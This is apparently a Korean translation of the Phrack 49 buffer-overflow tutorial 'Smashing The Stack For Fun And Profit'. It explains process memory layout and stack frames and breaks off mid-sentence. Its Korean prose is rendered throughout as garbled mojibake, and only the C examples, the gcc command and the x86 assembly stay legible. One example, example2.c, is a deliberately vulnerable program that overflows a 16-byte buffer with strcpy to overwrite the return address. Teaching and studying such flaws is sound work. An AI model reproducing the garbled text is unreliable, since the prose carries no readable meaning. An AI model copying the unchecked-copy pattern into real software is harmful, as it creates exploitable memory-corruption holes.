Phrack Magazine 7±Ç 49È£ - ÃÑ 16Áß 14¹ø° BugTraq, r00t, ±×¸®°í Underground.Org Á¦°ø XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit Àç¹Ì¿Í À̵æÀ» À§ÇÑ ½ºÅà ¶§·ÁºÎ¼ö±â XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ÀúÀÚ : Aleph One ¹ø¿ª : ¹Ú»ó¿î * ¿ªÀÚÁÖ : ¹ø¿ªÀÌ ¹ÌÈíÇÑ °Í °°À¸´Ï, Àß ¸ø ¹ø¿ªµÈ °÷ÀÌ ÀÖÀ¸¸é ²À ¸á º¸³»ÁÖ¼¼¿ä. '½ºÅà ¶§·ÁºÎ¼ö±â(smash the stack)' [C ÇÁ·Î±×·¡¹Ö] : ¸¹Àº C Äڵ忡¼­, ·çƾ¿¡¼­ ÀÚµ¿À¸·Î ¼±¾ðµÈ ¹è¿­º¸´Ù ±æ°Ô ¾¸À¸·Î½á ½ÇÇà ½ºÅÃÀ» º¯°æÇÒ ¼ö ÀÖ´Ù. ÀÌ·± ÀÏÀ» ¼öÇàÇÏ´Â Äڵ带 ½ºÅÃÀ» ¶§·ÁºÎ¼ø´Ù(smash the stack)¶ó°í Çϸç, ·çƾ¿¡¼­ µ¹¾Æ¿Í¼­ ÀÓÀÇÀÇ ÁÖ¼Ò·Î ¶Ù¾î ³Ñ¾î°¡°Ô ÇÒ ¼öµµ ÀÖ´Ù. ÀÌ°ÍÀº Àηù¿¡°Ô ¾Ë·ÁÁø ¹ö±×µé Áß¿¡¼­, °¡Àå ÇÔÁ¤¿¡ ºüÁö±â ½¬¿î, µ¥ÀÌÅÍ¿¡ ÀÇÁ¸ÀûÀÎ ¹ö±×µéÀ» ÀÏÀ¸Å³ ¼ö ÀÖ´Ù. À̰͵éÀº ½ºÅà ġ¿ì±â(trash), ½ºÅà °¥°Ü¾²±â(scribble), ½ºÅà ³­µµÁúÇϱâ(mangle)¸¦ Æ÷ÇÔÇÑ´Ù; ½ºÅà °³Á¶Çϱâ(mung)¶õ ¸»Àº ¾²ÀÌÁö ¾Ê´Â´Ù. ¿Ö³ÄÇϸé ÀÌ°ÍÀº Àý´ë °íÀÇÀûÀ¸·Î µÇÁö ¾Ê±â ¶§¹®ÀÌ´Ù. spamÀ» º¸¶ó;¶ÇÇÑ alias ¹ö±×, ÄÚ¾î»óÀÇ À¯Ä¡ÇÑ Áþ, ¸Þ¸ð¸®»óÀÇ °áÇÔ, ¿ìÀ§ÀÇ ºÐ½Ç(precedence lossage), overrun screwµµ º¸¶ó. ¼Ò°³ ~~~~~~ Áö³­ ¸î ´Þµ¿¾È, ¹ß°ßµÇ°í ¶Ç ÀÌ¿ëµÈ ¹öÆÛ ¿À¹öÇ÷οì Ãë¾àÁ¡µéÀÌ ¸Å¿ì ¸¹ÀÌ ´Ã¾î³µ´Ù. ¿¹¸¦ µé¸é, syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD ¸¶¿îÆ®, Xtlibrary µîµî ¸»ÀÌ´Ù. ÀÌ ±ÛÀº ¹öÆÛ ¿À¹öÇ÷οì¶õ °ÍÀÌ ¹«¾ùÀÎÁö, ±×¸®°í ¾î¶»°Ô ÀÌ¿ëÇØ ¸Ô´ÂÁö¸¦ ¼³¸íÇÒ °ÍÀÌ´Ù. ¾î¼Àºí¸®¿¡ °üÇÑ ±âº»ÀûÀÎ Áö½ÄÀº °®Ãß°í ÀÖ¾î¾ß ÇÑ´Ù. °¡»ó ¸Þ¸ð¸®ÀÇ °³³ä¿¡ ´ëÇÑ ÀÌÇØ¿Í gdb »ç¿ë °æÇèÀº ¸Å¿ì µµ¿òÀ» ÁÙ°ÍÀÌÁö¸¸, ²À Çʼö´Â ¾Æ´Ï´Ù. ¿ì¸®´Â ¶ÇÇÑ ¿ì¸®°¡ Intel x86 CPU·Î ÀÛ¾÷ÇÏ°í ÀÖÀ¸¸ç ¿î¿µÃ¼°è´Â ¸®´ª½º¶ó´Â °ÍÀ» ÀüÁ¦·Î ÇÑ´Ù. ½ÃÀÛÇϱâ Àü ¸î°¡Áö ±âÃÊ Á¤ÀÇ : ¹öÆÛ´Â, °°Àº µ¥ÀÌÅÍ ÇüÀ¸·Î µÈ ´ÙÁßÀÇ ÀνºÅϽº¸¦ ´ã°í ÀÖ´Â, ÄÄÇ»ÅÍ ¸Þ¸ð¸®ÀÇ ¿¬¼ÓµÈ ºí·°À» ¶æÇÑ´Ù. C ÇÁ·Î±×·¡¸ÓµéÀº º¸Åë ¿öµå ¹öÆÛ ¹è¿­À» ¿¬»óÇÑ´Ù. °¡Àå ÈçÇÏ°Ô´Â ¹®ÀÚ ¹è¿­À» °ü·Ã½ÃÄÑ »ý°¢ÇÑ´Ù. C¿¡¼­ÀÇ ¸ðµç º¯¼öµé°ú °°ÀÌ, ¹è¿­Àº Á¤Àû ȤÀº µ¿ÀûÀ¸·Î ¼±¾ðµÉ ¼ö ÀÖ´Ù. Á¤ÀûÀÎ º¯¼öµéÀº ÇÁ·Î±×·¥ÀÌ ·ÎµåµÉ ¶§ µ¥ÀÌÅÍ ºÎºÐ(data segment)¿¡ ÇÒ´çµÈ´Ù. µ¿ÀûÀÎ º¯¼öµéÀº ½ÇÇàÁß¿¡ ½ºÅÿ¡ ÇÒ´çµÈ´Ù. ¿À¹öÇ÷οì¶ó´Â °ÍÀº ²À´ë±â³ª °¡ÀåÀÚ¸®, ȤÀº °æ°è¸¦ ³Ñ¾î¼­ ³ÑÃÄ È帣°Å³ª ³ÑÄ¡µµ·Ï ä¿ì´Â °ÍÀ» ¶æÇÑ´Ù. ¿ì¸®´Â ½ºÅÃÀ» ±â¹ÝÀ¸·Î ÇÑ ¹öÆÛ ¿À¹öÇ÷οì·Î ¾Ë·ÁÁø, µ¿ÀûÀÎ ¹öÆÛµéÀÇ ¿À¹öÇ÷ο츸À» ´Ù·ê °ÍÀÌ´Ù. ÇÁ·Î¼¼½º ¸Þ¸ð¸®ÀÇ ±¸Á¶ ~~~~~~~~~~~~~~~~~~~~~~~~ ½ºÅà ¹öÆÛ¶õ °ÍÀÌ ¹«¾ùÀÎÁö ÀÌÇØÇϱâ À§Çؼ­´Â, ¿ì¸®´Â ¸Þ¸ð¸®¿¡¼­ ÇÁ·Î¼¼½º°¡ ¾î¶»°Ô ÀÌ·ç¾îÁ³´Â°¡¸¦ ¸ÕÀú ÀÌÇØÇØ¾ß ÇÑ´Ù. ÇÁ·Î¼¼½ºµéÀº 3°¡Áö Áö¿ªÀ¸·Î ³ª´¶´Ù: ÅؽºÆ®(text), µ¥ÀÌÅÍ, ±×¸®°í ½ºÅÃ(stack). ¿ì¸®´Â ½ºÅà Áö¿ª¿¡ ÁýÁßÇÒ °ÍÀÌÁö¸¸, ¸ÕÀú ¼ø¼­´ë·Î ´Ù¸¥ Áö¿ªµéµµ ¾à°£ »ìÆ캼 °ÍÀÌ´Ù. Text Áö¿ªÀº ÇÁ·Î±×·¥¿¡ ÀÇÇØ °íÁ¤µÇ¾î ÀÖ´Ù. ±×¸®°í ¸í·ÉÄÚµå(¸í·É)¿Í Àбâ Àü¿ëÀÎ µ¥ÀÌÅ͸¦ Æ÷ÇÔÇÏ°í ÀÖ´Ù. ÀÌ Áö¿ªÀº ½ÇÇàÆÄÀÏÀÇ TextºÎºÐ¿¡ ÇØ´çÇÑ´Ù. ÀÌ Áö¿ªÀº º¸Åë Àбâ Àü¿ëÀ¸·Î µÇ¾î ÀÖÀ¸¸ç, ±×°Í¿¡ ±â·ÏÇÏ·Á ÇÑ´Ù¸é Áö¿ªÄ§ÀÔ ¿¡·¯(segmentation violation)°¡ ¹ß»ýÇÒ °ÍÀÌ´Ù. µ¥ÀÌÅÍ Áö¿ªÀº ÃʱâÈ­µÈ °Í°ú ÃʱâÈ­µÇÁö ¾ÊÀº µ¥ÀÌÅ͸¦ Æ÷ÇÔÇÏ°í ÀÖ´Ù. Á¤ÀûÀÎ º¯¼öµéÀº ÀÌ Áö¿ª¿¡ ÀúÀåµÇ¾î ÀÖ´Ù. µ¥ÀÌÅÍ Áö¿ªÀº ½ÇÇàÆÄÀÏÀÇ data-bss Áö¿ª¿¡ ÇØ´çÇÑ´Ù. ±×°ÍÀÇ Å©±â´Â brk(2) ½Ã½ºÅÛ È£Ãâ·Î ¹Ù²ð ¼ö ÀÖ´Ù. ¸¸¾à bssµ¥ÀÌÅͳª »ç¿ëÀÚ ½ºÅÃÀÌ ´Ã¾î³ª¼­ »ç¿ë°¡´ÉÇÑ ¸Þ¸ð¸®¸¦ ´Ù ½á¹ö¸°´Ù¸é, ÇÁ·Î¼¼½º´Â °¡·Î¸·ÇôÁö°í, ´õ Å« ¸Þ¸ð¸® °ø°£¿¡¼­ ´Ù½Ã ½ÇÇàÇϵµ·Ï ´Ù½Ã °èȹµÈ´Ù. »õ·Î¿î ¸Þ¸ð¸®´Â µ¥ÀÌÅÍ Áö¿ª°ú ½ºÅà Áö¿ª»çÀÌ¿¡ Ãß°¡ µÈ´Ù. /------------------\ ³·Àº | | ¸Þ¸ð¸® | Text | ÁÖ¼Ò | | |------------------| | (ÃʱâÈ­ µÊ) | | Data | | (ÃʱâÈ­ ¾ÈµÊ) | |------------------| | | | Stack | ³ôÀº | | ¸Þ¸ð¸® \------------------/ ÁÖ¼Ò ±×¸². 1 ÇÁ·Î¼¼½º ¸Þ¸ð¸® Áö¿ªµé ½ºÅÃÀ̶õ ¹«¾ùÀΰ¡? ~~~~~~~~~~~~~~~~~~~~ ½ºÅÃÀº ÄÄÇ»ÅÍ °úÇп¡¼­ ÀÚÁÖ »ç¿ëµÇ´Â Ãß»óÀûÀÎ Å×ÀÌÅÍ ÇüÀÌ´Ù. ½ºÅÃÀº ½ºÅû󿡼­ °¡Àå ³¡¿¡ ÀÚ¸®Àâ°í ÀÖ´Â °´Ã¼°¡ °¡Àå ¸ÕÀú Á¦°ÅµÇ´Â °´Ã¼°¡ µÇ´Â Ư¡À» °¡Áö°í ÀÖ´Ù. ÀÌ Æ¯¼ºÀº º¸Åë "°¡Àå ³ªÁß¿¡ µé¾î¿Â °ÍÀÌ, °¡Àå ¸ÕÀú ³ª°£´Ù" ¶Ç´Â LIFO·Î ºÒ·ÁÁø´Ù. ½ºÅà »ó¿¡¼­´Â ¸î°¡Áö ¸í·ÉÀÌ Á¤ÀǵǾî ÀÖ´Ù. °¡Àå Áß¿äÇÑ 2°¡Áö´Â ¹Ð¾î³Ö±â(PUSH)¿Í ²¨³»±â(POP)ÀÌ´Ù. PUSH´Â ½ºÅÃÀÇ ²À´ë±â¿¡ ¿ø¼Ò 1°³¸¦ Ãß°¡ÇÑ´Ù. POPÀº ±× ¹Ý´ë·Î ½ºÅÃÀÇ ²À´ë±â¿¡ ÀÖ´Â °¡Àå ¸¶Áö¸·ÀÇ ¿ø¼Ò¸¦ Á¦°ÅÇÔÀ¸·Î½á ½ºÅÃÀÇ Å©±â¸¦ ÇÑ ¿ø¼Ò¸¸Å­ °¨¼Ò½ÃŲ´Ù. ¿ì¸®´Â ¿Ö ½ºÅÃÀ» »ç¿ëÇϴ°¡? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Çö´ëÀÇ ÄÄÇ»Å͵éÀº °í±Þ¾ð¾îµéÀÇ ÇÊ¿ä¿¡ µû¶ó ¼³°èµÇ¾ú´Ù. °í±Þ¾ð¾î·Î ÇÁ·Î±×·¥µéÀ» ±¸¼ºÇϴµ¥ °¡Àå Áß¿äÇÑ ±â¼úÀº ÇÁ·Î½ÃÀú³ª ÇÔ¼öÀÌ´Ù. ¾î¶² ½ÃÁ¡¿¡¼­ º¸¸é, ÇÁ·Î½ÃÀú È£ÃâÀº jump¸í·ÉÀÌ ±×·¯ÇϵíÀÌ Á¦¾îÀÇ È帧À» º¯°æÇÏÁö¸¸, jump¿Í´Â ´Ù¸£°Ô ±×°ÍÀÇ ÀÛ¾÷À» ³¡³½ ÈÄ¿¡´Â, È£Ãâ¸í·É ´ÙÀ½¿¡ µû¸£´Â Áø¼úÀ̳ª ¸í·É¿¡ Á¦¾î¸¦ µÇµ¹·Á ÁØ´Ù. ÀÌ °í±ÞÀÇ Ãß»óÀû °³³äÀº ½ºÅÃÀÇ µµ¿òÀ¸·Î °¡´ÉÇÏ´Ù. ½ºÅÃÀº ¶ÇÇÑ ÇÔ¼ö³»¿¡¼­ Áö¿ªº¯¼öµéÀ» µ¿ÀûÀ¸·Î ÇÒ´çÇϰųª, ÇÔ¼ö¿¡ ÀÎÀÚµéÀ» ³Ñ±â°Å³ª, ÇÔ¼ö·ÎºÎÅÍ °ªÀ» µÇµ¹·Á ÁÙ ¶§ »ç¿ëµÈ´Ù. ½ºÅà Áö¿ª ~~~~~~~~~~~ ½ºÅÃÀº µ¥ÀÌÅ͸¦ Æ÷ÇÔÇÏ°í ÀÖ´Â ¸Þ¸ð¸®ÀÇ ¿¬¼ÓµÈ ºí·°ÀÌ´Ù. ½ºÅà Æ÷ÀÎÅÍ(SP)¶ó°í ºÒ¸®¿ì´Â ·¹Áö½ºÅÍ´Â ½ºÅÃÀÇ ²À´ë±â¸¦ °¡¸®Å²´Ù. ½ºÅÃÀÇ ¹Ø¹Ù´ÚÀº °íÁ¤µÈ ÁÖ¼Ò¿¡ ÀÖ´Ù. ±×°ÍÀÇ Å©±â´Â ½ÇÇ൵Áß¿¡ Ä¿³Î¿¡ ÀÇÇØ µ¿ÀûÀ¸·Î Á¶ÀýµÈ´Ù. CPU´Â ½ºÅÿ¡ ¹Ð¾î³Ö°í(PUSH) ²¨³»´Â(POP) ¸í·ÉµéÀ» ¼öÇàÇÑ´Ù. ½ºÅÃÀº ÇÔ¼ö°¡ È£ÃâµÉ¶§ pushµÇ°í, µÇµ¹¾Æ¿Ã¶§ popµÇ´Â ³í¸®ÀûÀÎ ½ºÅà ÇÁ·¹ÀÓÀ¸·Î ÀÌ·ç¾î Á³´Ù. ½ºÅà ÇÁ·¹ÀÓÀº ÇÔ¼ö¿¡ Àü´ÞµÇ´Â ÀÎÀÚµé, ÇÔ¼öÀÇ Áö¿ª º¯¼öµé, ±×¸®°í ÇÔ¼ö È£Ãâ½ÃÀÇ ¸í·É Æ÷ÀÎÅÍ(instruction pointer)ÀÇ °ªÀ» Æ÷ÇÔÇÑ, ¹Ù·Î Àü ½ºÅà ÇÁ·¹ÀÓÀ» º¹±¸Çϱâ À§ÇÑ µ¥ÀÌÅÍ ¸¦ Æ÷ÇÔÇÑ´Ù. ÀÌÇà¿¡ ÀÇÁ¸ÇÏ¿©, ½ºÅÃÀº ¾Æ·¡·Î »¸¾î°¡°Å³ª(³·Àº ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ÇâÇØ) À§·Î ÀÚ¶ö°ÍÀÌ´Ù. ¿ì¸® ¿¹Á¦µé¿¡¼­´Â, ¾Æ·¡·Î »¸¾î°¡´Â ½ºÅÃÀ» »ç¿ëÇÒ °ÍÀÌ´Ù. ÀÌ°ÍÀº Intel,Motorola,SPARC ±×¸®°í MIPS ÇÁ·Î¼¼¼­µéÀ» Æ÷ÇÔÇÑ ¸¹Àº ÄÄÇ»ÅÍ¿¡¼­ ½ºÅÃÀÌ »¸¾î°¡´Â ¹æ¹ýÀÌ´Ù. ½ºÅÃÆ÷ÀÎÅÍ (SP)´Â ¶ÇÇÑ ÀÌÇà¿¡ ÀÇÁ¸ÀûÀÌ´Ù. ±×°ÍÀº ½ºÅÃÀÇ ¸¶Áö¸· ÁÖ¼Ò¸¦ °¡¸®Å³ ¼öµµ ÀÖ°í, ¶Ç´Â ½ºÅôÙÀ½ÀÇ »ç¿ë°¡´ÉÇÑ ÁÖ¼Ò¸¦ °¡¸®Å³ ¼öµµ ÀÖ´Ù. ¿©±â¼­´Â, ¿ì¸®´Â ±×°ÍÀÌ ½ºÅÃÀÇ ¸¶Áö¸· ÁÖ¼Ò¸¦ °¡¸®Å²´Ù°í »ý°¢ÇÏÀÚ. ½ºÅà Æ÷ÀÎÅÍ¿¡ µ¡ºÙ¿© ¸»ÇÏÀÚ¸é, ½ºÅà Æ÷ÀÎÅÍ´Â ½ºÅÃÀÇ ²À´ë±â¸¦ °¡¸®Å°´Âµ¥(¼ýÀÚÀûÀ¸·Î °¡Àå ³·Àº ÁÖ¼Ò), ÇÁ·¹ÀÓ ³»¿¡¼­ °íÁ¤µÈ À§Ä¡¸¦ °¡¸®Å°´Â ÇÁ·¹ÀÓÆ÷ÀÎÅÍ(FP)¸¦ °¡Áø´Ù¸é ±×°ÍÀº ¶§¶§·Î Æí¸®ÇÒ °ÍÀÌ´Ù. ¾î¶² ¹®¼­µé¿¡¼­´Â ¶ÇÇÑ ±×°ÍÀ» Áö¿ª ¹Ù´Ú Æ÷ÀÎÅÍ(LB)¶ó°í ºÎ¸¥´Ù. ¿øÄ¢ÀûÀ¸·Î, Áö¿ª º¯¼öµéÀº SP·ÎºÎÅÍ ¶³¾îÁø °Å¸®¸¦ ½á¼­ ÂüÁ¶µÉ ¼ö ÀÖ´Ù. ÇÏÁö¸¸, µ¥ÀÌÅ͵éÀÌ ½ºÅÿ¡ pushµÇ°í popµÇ±â ¶§¹®¿¡, SP·ÎºÎÅÍÀÇ °Å¸®(offset)´Â º¯Çϱ⠸¶·ÃÀÌ´Ù. ºñ·Ï ¾î¶² °æ¿ì¿¡ À־, ÄÄÆÄÀÏ·¯´Â ½ºÅûóÀÇ µ¥ÀÌÅ͵éÀÇ ¼ö¸¦ ±â¾ïÇÔÀ¸·Î½á ±× °Å¸®¸¦ Á¤Á¤ÇÏÁö¸¸, ´Ù¸¥ °æ¿ì¿¡´Â ºÒ°¡´ÉÇÒ »Ó´õ·¯ ¸ðµç °æ¿ì¿¡, °í·ÁÇϸ鼭 °ü¸®ÇØ¾ß ÇÑ´Ù. °Ô´Ù°¡, IntelÀ» ±â¹ÝÀ¸·ÎÇÑ ÇÁ·Î¼¼¼­°°Àº °Í¿¡¼­´Â, SP·ÎºÎÅÍÀÇ °Å¸®¸¦ ¾È´Ù°í Çصµ, ±× º¯¼ö¿¡ Á¢±ÙÇÏ´Â °ÍÀº ´ÙÁßÀÇ ¸í·ÉÀ» ÇÊ¿ä·Î ÇÑ´Ù. °á·ÐÀûÀ¸·Î, ¸¹Àº ÄÄÆÄÀÏ·¯µéÀÌ µÎ ¹ø° ·¹Áö½ºÅÍ, Áï FP¸¦ Áö¿ªº¯¼ö¿Í ÀÎÀÚ ¸ðµÎ¸¦ ÂüÁ¶Çϴµ¥ »ç¿ëÇÑ´Ù. ¿Ö³ÄÇϸé FP·ÎºÎÅÍÀÇ °Å¸®´Â PUSH¿Í POP¸í·ÉÀ¸·Î ÀÎÇØ º¯ÇÏÁö ¾Ê±â ¶§¹®ÀÌ´Ù. Intel CPU¿¡¼­´Â, BP (EBP)°¡ ÀÌ·± ¸ñÀûÀ¸·Î ¾²ÀδÙ. Motorola CPU¿¡¼­´Â ½ºÅà Æ÷ÀÎÅÍÀÎ A7¸¸ Á¦¿ÜÇÏ°í ¾î¶² ÁÖ¼Ò ·¹Áö½ºÅ͵µ ÀÌ ÀÏÀ» ÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ½ºÅÃÀÌ »¸¾î°¡´Â ¹æ¹ý¶§¹®¿¡, ½ÇÁ¦ ÀÎÀÚµéÀº FP·ÎºÎÅÍÀÇ °Å¸®(offset)°¡ ¾ç¼öÀÌ°í, Áö¿ªº¯¼öµéÀº FP·ÎºÎÅÍÀÇ °Å¸®(offset)°¡ À½¼öÀÌ´Ù. ÇÁ·Î½ÃÀú°¡ È£ÃâµÇ¾úÀ» ¶§, ÇÁ·Î½ÃÀú°¡ °¡Àå ¸ÕÀú ÇØ¾ß ÇÒ ÀÏÀº ¹Ù·Î ÀüÀÇ FP¸¦ ÀúÀåÇÏ´Â °ÍÀÌ´Ù(ÇÁ·Î½ÃÀú°¡ Á¾·áµÉ¶§, ¿ø·¡°ªÀ» µÇµ¹·Á ÁÖ±â À§ÇØ). ±×·±´ÙÀ½ ±×°ÍÀº »õ·Î¿î FP¸¦ ¸¸µé±â À§ÇØ, SP¸¦ FP·Î º¹»çÇÑ´Ù. ±×¸®°í Áö¿ªº¯¼öµéÀ» À§ÇÑ °ø°£À» ¿¹¾àÇϱâ À§ÇØ SP¸¦ ÀüÁø½ÃŲ´Ù. ÀÌ ÄÚµå´Â ÇÁ·Î½ÃÀúÀÇ µµÀÔºÎ(prolog)¶ó°í ºÒ¸°´Ù. ÇÁ·Î½ÃÀú°¡ Á¾·áµÉ¶§, ½ºÅÃÀº ´Ù½Ã ±ò²ûÇÏ°Ô Ã»¼ÒµÇ¾î¾ß Çϴµ¥, ÀÌ°ÍÀ» ÇÁ·Î½ÃÀúÀÇ °á¸»(epilog)À̶ó°í ºÎ¸¥´Ù. IntelÀÇ ENTER¿Í LEAVE ¸í·Éµé°ú MotorolaÀÇ LINK¿Í UNLINK ¸í·ÉµéÀº ÇÁ·Î½ÃÀúÀÇ ÇÁ·Ñ·Î±×¿Í ¿¡Çʷα×ÀÇ ´ëºÎºÐÀ» È¿°úÀûÀ¸·Î Çϱâ À§ÇØ Á¦°øµÈ´Ù. ªÀº ¿¹¿¡¼­ ½ºÅÃÀÌ ¾î¶°ÇÑ ¸ð¾çÀ» °®Ãß°í ÀÖ´ÂÁö »ìÆ캸ÀÚ: example1.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ------------------------------------------------------------------------------ ÇÁ·Î±×·¥ÀÌ function()ÇÔ¼ö¸¦ ºÎ¸£±â À§ÇØ ¹«¾ùÀ» ÇÏ´ÂÁö¸¦ ÀÌÇØÇϱâ À§ÇØ, ¾î¼Àºí¸® Äڵ带 »ý¼º½ÃÅ°±â À§Çؼ­´Â -S ¿É¼ÇÀ» »ç¿ëÇÏ¿© gcc·Î ÄÄÆÄÀÏÇÑ´Ù: $ gcc -S -o example1.s example1.c ¾î¼Àºí¸®¾î Ãâ·Â¹°À» º½À¸·Î½á, ¿ì¸®´Â function()À» È£ÃâÇÏ´Â °ÍÀÌ ´ÙÀ½°ú °°ÀÌ ¹ø¿ªµÈ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù: pushl $3 pushl $2 pushl $1 call function ÀÌ°ÍÀº ÇÔ¼ö¿¡ ´ëÇÑ 3°³ÀÇ ÀÎÀÚµéÀ» ½ºÅÿ¡ ¹Ý´ë¼ø¼­(3,2,1)·Î ¹Ð¾î ³Ö´Â´Ù. ±×¸®°í function()À» È£ÃâÇÑ´Ù. 'call' ¸í·ÉÀº ¸í·É Æ÷ÀÎÅÍ(IP)¸¦ ½ºÅÿ¡ ¹Ð¾î ³ÖÀ»(push) °ÍÀÌ´Ù. ¿ì¸®´Â ÀÌ ÀúÀåµÈ IP¸¦ º¹±Í ÁÖ¼Ò(RET)¶ó°í ºÎ¸¦ °ÍÀÌ´Ù. ÇÔ¼ö¾È¿¡¼­ °¡Àå ¸ÕÀú 󸮵Ǵ °ÍÀº ÇÁ·Î½ÃÀú ÇÁ·Ñ·Î±×ÀÌ´Ù: pushl %ebp movl %esp,%ebp subl $20,%esp ÀÌ°ÍÀº ÇÁ·¹ÀÓ Æ÷ÀÎÅÍÀÎ EBP¸¦ ½ºÅÿ¡ ¹Ð¾î ³Ö´Â´Ù. ±×·±´ÙÀ½ EBP¸¦ »õ·Î¿î FPÆ÷ÀÎÅÍ·Î ¸¸µé±â À§ÇØ ÇöÀçÀÇ SP¸¦ EBP¿¡ º¹»çÇÑ´Ù. ¿ì¸®´Â ÀÌ ÀúÀåµÈ FP¸¦ SFP¶ó°í ºÎ¸¦ °ÍÀÌ´Ù. ±×·±´ÙÀ½ Áö¿ª º¯¼öµéÀÇ Å©±â¸¸Å­ SP¸¦ °¨¼Ò½ÃÅ´À¸·Î½á Áö¿ª º¯¼öµéÀ» À§ÇØ °ø°£À» ÇÒ´çÇÑ´Ù. ¿ì¸®´Â, ¸Þ¸ð¸®°¡ ¿öµå Å©±âÀÇ ¹è¼ö¸¸Å­¸¸ ÁöÁ¤µÉ ¼ö ÀÖ´Ù´Â °ÍÀ» ±â¾ïÇØ¾ß ÇÑ´Ù. ¿ì¸®ÀÇ °æ¿ì¿¡ ÇÑ ¿öµå´Â 4¹ÙÀÌÆ®, Áï 32ºñÆ®ÀÌ´Ù. ±×·¯¹Ç·Î 5¹ÙÀÌÆ®ÀÇ ¹öÆÛ´Â ½ÇÁ¦·Î´Â 8¹ÙÀÌÆ®(2¿öµå)¸¸Å­ÀÇ ¸Þ¸ð¸®¸¦ Â÷ÁöÇÒ °ÍÀÌ°í 10¹ÙÀÌÆ®ÀÇ ¹öÆÛ´Â 12¹ÙÀÌÆ®(3¿öµå)¸¸Å­ ÀÇ ¸Þ¸ð¸®¸¦ Â÷ÁöÇÒ °ÍÀÌ´Ù. ±×°Ô ¹Ù·Î SP°¡ 20¸¸Å­ °¨¼ÒµÇ´Â ÀÌÀ¯ÀÌ´Ù. ÀÌ°ÍÀ» ¸í½ÉÇÏ°í function()ÇÔ¼ö°¡ È£ÃâµÉ ¶§ ½ºÅÃÀÌ ¾î¶² ¸ð½ÀÀ» ÇÏ°í ÀÖÀ»Áö »ìÆ캸ÀÚ(°¢°¢ÀÇ 1Ä­Àº 1¹ÙÀÌÆ®¸¦ ³ªÅ¸³½´Ù): ¸Þ¸ð¸®ÀÇ ¸Þ¸ð¸®ÀÇ ¾Æ·¡ÂÊ À§ÂÊ buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] ½ºÅÃÀÇ ½ºÅÃÀÇ À§ÂÊ ¾Æ·¡ÂÊ ¹öÆÛ ¿À¹öÇ÷οì ~~~~~~~~~~~~~~~~~ ¹öÆÛ ¿À¹öÇ÷οì´Â ¹öÆÛ°¡ ´Ù·ê ¼ö ÀÖ´Â °Íº¸´Ù ´õ ¸¹Àº µ¥ÀÌÅ͸¦ ¹öÆÛ¿¡ ä¿òÀ¸·Î½á ÀϾ´Ù. ÀÌ·¸°Ô ÀÚÁÖ ¹ß°ßµÇ´Â ÇÁ·Î±×·¡¹Ö ¿¡·¯°¡ ÀÓÀÇÀÇ Äڵ带 ½ÇÇàÇϴµ¥ ¾î¶»°Ô »ç¿ëµÇ¾î Áú ¼ö Àִ°¡? ´Ù¸¥ ¿¹¸¦ ÇÑ ¹ø »ìÆ캸ÀÚ: example2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------------------------------------------------------------------------------ ÀÌ ÇÁ·Î±×·¥¿¡´Â ÀüÇüÀûÀÎ ¹öÆÛ ¿À¹öÇ÷οì ÄÚµù ¿¡·¯¸¦ Æ÷ÇÔÇÑ ÇÔ¼ö°¡ ÀÖ´Ù. ±× ÇÔ¼ö´Â ¹®ÀÚ¿­ ±æÀ̸¦ È®ÀÎ(bounds checking)ÇÏÁö ¾Ê°í, strncpy() ÇÔ¼ö ´ë½Å¿¡ strcpy() ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ÁÖ¾îÁø ¹®ÀÚ¿­À» º¹»çÇÑ´Ù. ¸¸¾à ¿©·¯ºÐÀÌ ÀÌ ÇÁ·Î±×·¥À» ½ÇÇà½ÃŲ´Ù¸é, Áö¿ªÄ§ÀÔ ¿¡·¯(segmentation violation)°¡ ¹ß»ýÇÒ °ÍÀÌ´Ù. ¿ì¸®°¡ ÇÔ¼ö¸¦ ºÎ¸¦ ¶§, ½ºÅÃÀÌ ¾î¶² ¸ð½ÀÀ» ÇÏ°í ÀÖ´ÂÁö »ìÆ캸ÀÚ: ¸Þ¸ð¸®ÀÇ ¸Þ¸ð¸®ÀÇ ¾Æ·¡ÂÊ À§ÂÊ buffer sfp ret *str <------ [ ][ ][ ][ ] ½ºÅÃÀÇ ½ºÅÃÀÇ À§ÂÊ ¾Æ·¡ÂÊ ¿©±â¼­ ¹«½¼ÀÏÀÌ ¹ú¾îÁö´Â°¡? ¿Ö Áö¿ªÄ§ÀÔ ¿¡·¯(segmentation violation)°¡ ¹ß»ýÇϴ°¡? °£´ÜÇÏ´Ù. strcpy()ÇÔ¼ö´Â ¹®ÀÚ¿­¿¡¼­ ³Î¹®ÀÚ°¡ ¹ß°ßµÉ¶§±îÁö, *str(larger_string[])ÀÇ ³»¿ëÀ» buffer[]·Î º¹»çÇÑ´Ù. ¿ì¸®µµ º¼ ¼ö ÀÖµíÀÌ, buffer[]´Â *strº¸´Ù ÈξÀ ÀÛ´Ù. buffer[]´Â 16¹ÙÀÌÆ® ±æÀÌÁö¸¸, ¿ì¸®´Â ±×°ÍÀ» 256¹ÙÀÌÆ®·Î ä¿ì·Á°í ÇÑ´Ù. ÀÌ°ÍÀº ½ºÅÿ¡ ÀÖ´Â bufferµÚÀÇ 240 ¹ÙÀÌÆ®°¡ ¸ðµÎ µ¤¿© ¾²¿©Áø´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ÀÌ°ÍÀº SFP, RET ±×¸®°í ½ÉÁö¾î *str±îÁöµµ Æ÷ÇÔÇÑ´Ù. ¿ì¸®´Â large_stringÀ» ¹®ÀÚ 'A'·Î ä¿ü¾ú´Ù. ±×°ÍÀÇ 16Áø¼ö ¹®ÀÚ °ªÀº 0x41ÀÌ´Ù. ÀÌ°ÍÀº º¹±ÍÁÖ¼Ò(RET)°¡ ÀÌÁ¦ 0x41414141À̶ó´Â °ÍÀ» ÀǹÌÇÑ´Ù. ÀÌ ÁÖ¼Ò´Â 